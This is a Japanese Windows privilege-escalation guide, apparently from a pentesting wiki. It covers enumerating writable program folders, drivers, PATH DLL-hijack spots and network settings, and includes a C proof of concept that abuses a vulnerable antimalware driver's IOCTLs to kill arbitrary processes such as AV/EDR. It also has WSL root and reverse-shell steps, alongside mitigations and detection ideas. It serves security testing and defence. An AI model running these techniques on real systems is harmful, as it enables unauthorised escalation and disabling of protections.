コンテンツにスキップ

アプリケーション・DLL・ネットワークの調査

インストール済みアプリケーション、DLL の読み込み先、ネットワーク設定を確認します。実行ファイルや設定ファイルへの書き込み権限が、どの操作につながるかを見ていきます。

インストール済みアプリケーション

Section titled “インストール済みアプリケーション”

インストール済みアプリケーションの実行ファイルと、そのフォルダーの権限を確認します。書き換えられる場所は、DLL Hijacking の調査にも関係します。

ターミナルウィンドウ
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

管理者権限で実行されるプログラムの設定や実行ファイルを書き換えられるかを調べます。次の例では、ファイルとフォルダーの権限を列挙します。

ターミナルウィンドウ
accesschk.exe /accepteula
# ドライブごとの弱いフォルダ権限を検索
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# ドライブごとの弱いファイル権限を検索
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
ターミナルウィンドウ
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
ターミナルウィンドウ
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

別のユーザーの権限で起動される項目を調べ、実行ファイルや設定を書き換えられるか確認します。対象になりやすい場所は Autorun Binaries の解説 を参照してください。

サードパーティ製の不審/脆弱なドライバを探します。

ターミナルウィンドウ
driverquery
driverquery.exe /fo table
driverquery /SI

ドライバが任意のカーネル読み取り/書き込みプリミティブ(poorly designed IOCTL handler でよくある)を公開している場合、カーネルメモリから SYSTEM トークンを直接盗むことで特権昇格できます。手順はこちら:

Arbitrary Kernel R/W Token Theft

脆弱な呼び出しが攻撃者制御の Object Manager パスを開くレース条件(race-condition)バグでは、ルックアップを意図的に遅くする(最大長コンポーネントや深いディレクトリ チェーンを使用)ことで、ウィンドウをマイクロ秒から数十マイクロ秒に引き延ばせます:

Kernel Race Condition Object Manager Slowdown

レジストリハイブのメモリ破損

Section titled “レジストリハイブのメモリ破損”

近年のハイブ脆弱性では、決定的なレイアウト調整(grooming)や書き込み可能な HKLM/HKU 派生の悪用、メタデータ破損からカーネル paged-pool overflow への変換が、カスタム ドライバ無しで可能になります。全体の連鎖はこちら:

Windows Registry Hive Exploitation

FILE_DEVICE_SECURE_OPEN がないデバイスの悪用

Section titled “FILE_DEVICE_SECURE_OPEN がないデバイスの悪用”

一部の署名付きサードパーティ ドライバは IoCreateDeviceSecure で強い SDDL を設定した device object を作成しますが、DeviceCharacteristics に FILE_DEVICE_SECURE_OPEN を設定し忘れることがあります。このフラグが無いと、余分なコンポーネントを含むパス経由でデバイスを開く際に secure DACL が適用されず、権限のないユーザーでも次のような名前空間パスでハンドルを取得できます:

  • \.\DeviceName\anything
  • \.\amsdk\anyfile(実例)

ユーザーがデバイスを開けるようになると、ドライバが公開する特権 IOCTL を LPE と改ざん(tampering)に悪用できます。実際に観測された例:

  • 任意プロセスに対するフルアクセス ハンドルを返す(token theft / DuplicateTokenEx/CreateProcessAsUser による SYSTEM shell)。
  • 生ディスクの読み書き無制限(オフライン改ざん、ブート時の永続化テクニック)。
  • Protected Process/Light(PP/PPL)を含む任意プロセスの終了(カーネル経由で user land から AV/EDR kill)。

最小 PoC パターン(user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

開発者向けの緩和策(Mitigations for developers)

  • DACL で制限するデバイス オブジェクト作成時は FILE_DEVICE_SECURE_OPEN を必ず設定。
  • 特権操作の前に呼び出し元コンテキストを検証。プロセス終了やハンドル返却前に PP/PPL をチェック。
  • IOCTL を制約(アクセスマスク、METHOD_*、入力検証)し、直接カーネル権限ではなくブローカー型モデルも検討。

防御側の検出アイデア(Detection ideas for defenders)

  • 不審なデバイス名(例: \.\amsdk*)の user-mode オープンや、悪用を示す特定 IOCTL シーケンスを監視。
  • Microsoft の脆弱ドライバ ブロックリスト(HVCI/WDAC/Smart App Control)を適用し、独自の allow/deny リストも維持。

PATH 上のフォルダに書き込み権限がある場合、プロセスが読み込む DLL をハイジャックして特権昇格できる可能性があります。

PATH 内の全フォルダの権限を確認:

ターミナルウィンドウ
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

このチェックの悪用方法については:

Writable Sys Path DLL Hijacking Privesc

ターミナルウィンドウ
net view # コンピュータ一覧を取得
net view /all /domain [domainname] # ドメイン内の共有
net view \\computer /ALL # コンピュータの共有を列挙
net use x: \\computer\share # 共有をローカルにマウント
net share # 現在の共有を確認

hosts ファイルにハードコードされた既知のコンピュータがないか確認します。

type C:\Windows\System32\drivers\etc\hosts

ネットワークインターフェースと DNS

Section titled “ネットワークインターフェースと DNS”
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

外部から制限されたサービスを確認します。

ターミナルウィンドウ
netstat -ano # 開いているポート
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall 関連コマンドはこちら (ルール一覧、ルール作成、無効化など)

ネットワーク列挙(network enumeration)用のコマンドはこちら。

ターミナルウィンドウ
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

bash.exe のバイナリは C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe にもあります。

root ユーザーが取得できれば任意のポートで待受け可能です(nc.exe で初めてポート待受けをする際、GUI で nc をファイアウォールに許可するか確認されます)。

ターミナルウィンドウ
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

root で bash を起動しやすくするには --default-user root を試してください。

WSL のファイルシステムは C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ にあります。